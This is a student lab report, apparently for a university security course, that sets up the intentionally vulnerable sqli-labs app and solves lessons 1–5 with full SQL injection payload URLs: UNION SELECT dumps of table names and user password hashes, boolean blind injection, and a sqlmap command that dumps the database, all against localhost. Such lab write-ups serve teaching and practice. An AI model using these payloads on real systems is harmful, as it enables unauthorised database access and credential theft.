# 大四_17周实训

## 环境安装_windows

Windows 虚拟机 `WIN10_LTSC`

![](/media/68/6834f942787d487bef780c4d19ac3816ab2f2649db3d69602e3e5e1088fcc8a4.png)


![](/media/33/33aea14039e6e7777657c7c33351c2eba714070f79513acbe46e753a0e467bee.png)


![](/media/a8/a8ec6a29b462082638cf5cbfeaab4cab5d36f4ed76f6713c6427f8d057243d28.png)

### phpstudy 2016

安装比较老的php（不能大于7不然无法安装）

http://public.xp.cn/upgrades/phpStudy20161103.zip

![](/media/1a/1a62363f009138b59512929e42556dc59c22e66f87f4fb4249cc3e5e0a24a8c1.png)


能打开就行；

![](/media/3e/3e8b9fa02487ae58818be5dda9f0b36b9da9e9b21bc68e7baa520c747469ad56.png)




### 复制环境


https://github.com/Audi-1/sqli-labs

下一个zip

![](/media/a9/a9d96b56f643461b0ded900d3fdee3e7c6eafbabfea17d4a0ac9c5090041ae1a.png)

复制到这里：

![](/media/b4/b411cbe93b0adfb6a93708bd49e401d17484f32017cc110661c7cd07d8fef2e6.png)

粘贴到这里

![](/media/38/38618a0139cc2c4230172a29d15e0a7aa60235f3df99d0daf8e9146065dc14bb.png)

改名为：sqli

![](/media/ce/cece300cf731c685cece64604b2c4af6be94854f30cbf117b4094e56f9d5e434.png)


填个密码：**（默认密码是root）**

![](/media/a8/a8463b53a5026b56b6c171f8cd01cc891d0e122d25b5361d51b35f6aac569fbb.png)

访问：

![](/media/f9/f92cf117ed7c7e086b7ea9e5366e5c27120f2db2d6421dc66e7d52c716de3ce6.png)

等一会就行

![](/media/ca/ca5b2982142cdfc7b62943e3767b2975ab88d02e4806287d6a223ddf590cd1b3.png)

这样就行：
![](/media/dd/ddfc78099af606cba0ef3f247ad5974d147ad46bbad6c488a5426faa9d06b8ff.png)



## 环境安装_Linux

```bash
git clone https://github.com/Audi-1/sqli-labs
docker-compose up

#访问81端口即可
```


### docker-compose.yaml

```yaml
version: '3'
services:
  nginx:
    image: nginx:latest
    ports:
      - "81:80"
    volumes:
      - ./sqli-labs:/var/www/html/sqli
      - ./nginx.conf:/etc/nginx/conf.d/default.conf
    depends_on:
      - php

  php:
    build: .
    volumes:
      - ./sqli-labs:/var/www/html/sqli

  mysql:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: 123456
    volumes:
      - ./mysql_data:/var/lib/mysql
```




### Dockerfile

```bash
FROM php:5.6-fpm-alpine
RUN apk add --no-cache mysql-client
RUN docker-php-ext-install mysql mysqli pdo pdo_mysql
```

### nginx.conf
```bash
server {
    listen 80;
    server_name localhost;
    root /var/www/html;
    index index.php index.html;

    location ~ \.php$ {
        fastcgi_pass php:9000;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }
}
```

### 修改下配置文件

![](/media/04/04836a987502daa9b0b3286840a08dfecd4d74d2401303543f1c2aff93c31dcc.png)


#### db-creds.inc

修改数据库连接配置

sql-connections/db-creds.inc

![](/media/c8/c838d70c08658f043b5c8d390fa53238a03d8cf67d959c8658b93cc08a907865.png)


```php
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='toor';
$dbname ="security";
$host = 'mysql';
$dbname1 = "challenges";


?>

```

![](/media/98/98c8c514d73a9da025e08fe1cfc53ec57a03446b5cd0c75be58a3746cf6bd3b1.png)


### 启动

端口转发即可

```bash
docker-compose up
```

![](/media/a0/a006ff0b17a6f4c8d5735492168a7cb341814da5f5d44fa3d5d1ef483ba591f4.png)


如图所示


![](/media/c1/c1483ab062508908f1af0f3e8f1c5feffd71ec3ee06557765ddc0e6b540a8a75.png)



## 要求：任务1


```bash
http://127.0.0.1/sqli/Less-2/?id=1’ 
报错
http://127.0.0.1/sqli/Less-2/?id=1 and 1=1 正常
http://127.0.0.1/sqli/Less-2/?id=1 and 1=11不正常
确定为数值型，存在注入。
http://127.0.0.1/sqli/Less-2/?id=1 order by 10 不正常
http://127.0.0.1/sqli/Less-2/?id=1 order by 4 不正常
http://127.0.0.1/sqli/Less-2/?id=1 order by 3 正常
确定3列
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3
确定显示位2，3
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,database()
结果security ，确定了数据库名
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" 
结果：emails,referers,uagents,users，确定了4个表名
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
结果：id,username,password  一共3个列
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(username,0x7e,password) from users
爆出所有账号密码
```



## 要求：任务2

```bash
SELECT * FROM users WHERE id='$id' LIMIT 0,1
id=1'--+
SELECT * FROM users WHERE id='1'
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-3/?id=1')--+
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+

http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=9--+错误
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=8--+正确
结论：数据库名字长度是8
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="s"--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="d"--+不正确
结论：数据库名字第一个字母是s
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>114--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115--+错误
结论：ascii对应115，115对应s
101--e  99--c  117--u  
爆表、列、值


```









## 进入网页，进行初始化

![](/media/0d/0d52702cf82c21e4bfac57772f77d02e3c4fa2404447bc58e073f2560143fa5b.png)


初始化；

![](/media/c5/c552733715bd622b2f188ad3cd78b120a95a19c572e741cf9c5bd04de2340143.png)


## 实验任务1 - LESS2

### 1. 首先测试是否存在SQL注入漏洞：

```bash
http://127.0.0.1/sqli/Less-2/?id=1’ 
```
报错

![](/media/36/3618b6f1671b787d53075c73e2494995001e76a6969c419f5c9127ce26d48bb3.png)

添加单引号后页面报错，说明存在潜在注入点。

### 2. 进一步通过and语句判断注入类型：

```bash
http://127.0.0.1/sqli/Less-2/?id=1 and 1=1 正常
```


![](/media/3e/3e4806d8db2c1461f9f993f80703cda95b0f04f63c82043325a4240661b618e7.png)

继续尝试，提供错误表达式


```bash
http://127.0.0.1/sqli/Less-2/?id=1 and 1=11不正常
```

### 3. 根据测试结果可以确定这是一个数值型注入。

确定为数值型，存在注入。

![](/media/0d/0d817446bb0288a41e708df4739150604b67ef3b3dca398a211edce33eb6a179.png)



### 4. 尝试数据库获得字段数

```bash
http://127.0.0.1/sqli/Less-2/?id=1 order by 10 不正常
```


![](/media/a6/a6afe5397501128262abc2b9c4741725b3e57004ce314ab57834d1649474ac95.png)


继续尝试

```bash
http://127.0.0.1/sqli/Less-2/?id=1 order by 4 不正常
```

![](/media/29/299eed9f83f7d1f98ac2d02aa21144a25abc4ca4a9ad2a9829ef307fa9f2c880.png)


继续尝试

```bash
http://127.0.0.1/sqli/Less-2/?id=1 order by 3 正常
```
确定查询结果包含3个字段。


![](/media/c2/c28b6defb791cfb0b6209589f024e8ee46e7bee6a29d5716f9600c994192055b.png)


### 5. 确定显示位置

使用UNION SELECT语句确定显示位：

```bash
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3
```

如图，确定显示位2，3

![](/media/b8/b8618a285c7fe39022c07001aa9a9dd14cba244935331b528314f662b7c79119.png)

### 6. 确定数据库名

这样有显示了，就可以把数据库名字拿出来。

```bash
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,database()
```

结果security ，确定了数据库名

![](/media/38/38884133d10b883b28eeee6987263c40bbf9960967849f9ed895b4da44c6e951.png)

### 7. 然后尝试把列名拿出来

```sql
id=-1 union select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema="security"
```

payload:

```bash
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" 
```

结果：emails,referers,uagents,users。


![](/media/3f/3f5b7ca47d7666fcead7db42505c7e5724b300d172d9111eeb3bc0a6a056e758.png)


### 8. 再拿字段名字

```sql
id=-1 union select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema="security" 
and table_name="users"
```

payload:

```bash
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
```


![](/media/96/966c0fcdc03f6326e091f8ebc23276ebbc45b4993180c3822fce524108836466.png)

结果：`id,username,password`  一共3个列


### 9. 数据获取

最后获取用户表中的敏感信息：

```bash
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(username,0x7e,password) from users
爆出所有账号密码
```


![](/media/5f/5ff2f81e50462834e7c418d30419f5e7986db3b62e4d2bf14ad37d5a3d13aa74.png)




## 实验任务2

```bash
SELECT * FROM users WHERE id='$id' LIMIT 0,1
id=1'--+
SELECT * FROM users WHERE id='1'


http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+




http://127.0.0.1/sqli/Less-3/?id=1')--+
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+

http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=9--+错误
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=8--+正确
结论：数据库名字长度是8
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="s"--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="d"--+不正确
结论：数据库名字第一个字母是s
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>114--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115--+错误
结论：ascii对应115，115对应s
101--e  99--c  117--u  
爆表、列、值
```


### Less-1: 字符型注入(')

```bash
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
```

需要闭合单引号,使用union select直接注入。


![](/media/13/1375f5229a4d8a9aee04de5bd41739da7e9673de61acc416e2d263ebb8c2bacc.png)


**结果: 成功获取用户名和密码数据**

`Dumb~Dumb, Angelina~I-kill-you, Dummy~p@ssword, secure~crappy, stupid~stupidity, superman~genious, batman~mob!le, admin~admin, admin1~admin1, admin2~admin2, admin3~admin3, admin4~admin4`



![](/media/13/1375f5229a4d8a9aee04de5bd41739da7e9673de61acc416e2d263ebb8c2bacc.png)


### Less-3: 字符型注入(')

需要闭合单引号和括号

#### 1. 测试注入点

```bash
http://127.0.0.1/sqli/Less-3/?id=1')--+
```

![](/media/4e/4e6a334ab5e8002d4874090aaf89fcc6cce4f47139dbd0abbfca017e6668586a.png)

结果：页面正常显示,确认闭合方式正确

#### 2.构造完整payload获取数据

```bash
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+
```

![](/media/e8/e8475f63e060a24d416a1208e4bfbfd43b2c3965e4011263dc5abf3d7378d400.png)


结果: 同Less-1,成功获取所有用户数据


### Less-4: 字符型注入(")

需要闭合双引号和括号

```bash
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+
```

结果: 同样成功获取用户数据

![](/media/a6/a61978d0fc94e24c8278917443077937cec044ec173df7b0a77ae21277c0c3c4.png)


### Less-5: 布尔盲注

通过布尔盲注逐步获取信息

```bash
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=9--+错误
```

![](/media/e7/e797a13b4336c23d3189d7faa2266b9b1c969c88c799ca20c5898ae6833dcef5.png)


#### 1.判断数据库名长度

```bash
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=9--+
```
结果: 错误,页面无正常显示

```bash
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=8--+正确
```

![](/media/03/032889fc07d9f9838c5465a4ef48c387b1ce2034d59424d1cf50303afb00f6de.png)

结果: 正确,页面正常显示
**结论: 数据库名长度为8个字符**


#### 2.逐字符判断数据库名

```bash
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="s"--+正确
```

![](/media/f5/f5fb81a679c937b6d86481e48074dc9cf4b2566ffdaab41564a85978a4be682e.png)

结果: 正确,页面正常显示


```bash
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="d"--+不正确
```
结果: 错误,页面无正常显示
**结论: 数据库名第一个字符为's'**

![](/media/c3/c35c25e5dd1df17526ba710b46349eae97816d83cf10f060c04dfcace2c5629a.png)

结论：数据库名字第一个字母是s

#### 3.使用ASCII码进一步确认

```bash
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>114--+正确
```
结果: 正确

![](/media/3f/3f8c4c029935c39c47cb8aa8a49caefa2ac69e8eb8088f09bcb64363c1ccfead.png)


```bash
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115--+错误
```

**结果: 错误**
**结论: 第一个字符ASCII码为115,对应字母's'**


#### 4.常用ASCII码对照表

**s: 115**

**e: 101**

**c: 99**

**u: 117**


![](/media/e3/e32ef42ba8c47bedd2f5b6fd9479f4c5284df8db223086824c6d3a27427f2de9.png)


#### 5.剩下的工作比较重复，直接使用工具即可

> 但是是没有灵魂的。

爆表、列、值，直接用工具啦。

爆库：

![](/media/64/640af58f5578d6b835d51da5a5e8613e879500cc7fd5fa14f8a26324daf2993c.png)

获得库：

![](/media/40/4016cddd27e02c3c297a7d29ac01db691917545b03b5f14789a9c701f5832275.png)

爆表

![](/media/b7/b71672cfa891c76242ee57dfcc7b8ed82d5bd17060942ecebbc892137d89fcca.png)


#### 6. 没有灵魂，直接DUMP出来

```bash
H:\awd\ONE-FOX集成工具箱_V6公开版_by狐狸\ONE-FOX集成工具箱_V6公开版_by狐狸\gui_scan\sqlmap> python sqlmap.py -u http://127.0.0.1/sqli/Less-5/?id=1 -D security --dump
```

![](/media/12/12d4507dfa5f5b78e9cbf7c78c04212943eb2e73b3f61a25526068a39e505c0e.png)

![](/media/b0/b073d495f0d5cd07f8eef70d2acfac109a8f4cde1b7704a3af4616fcca5e6746.png)

OK，试验结束。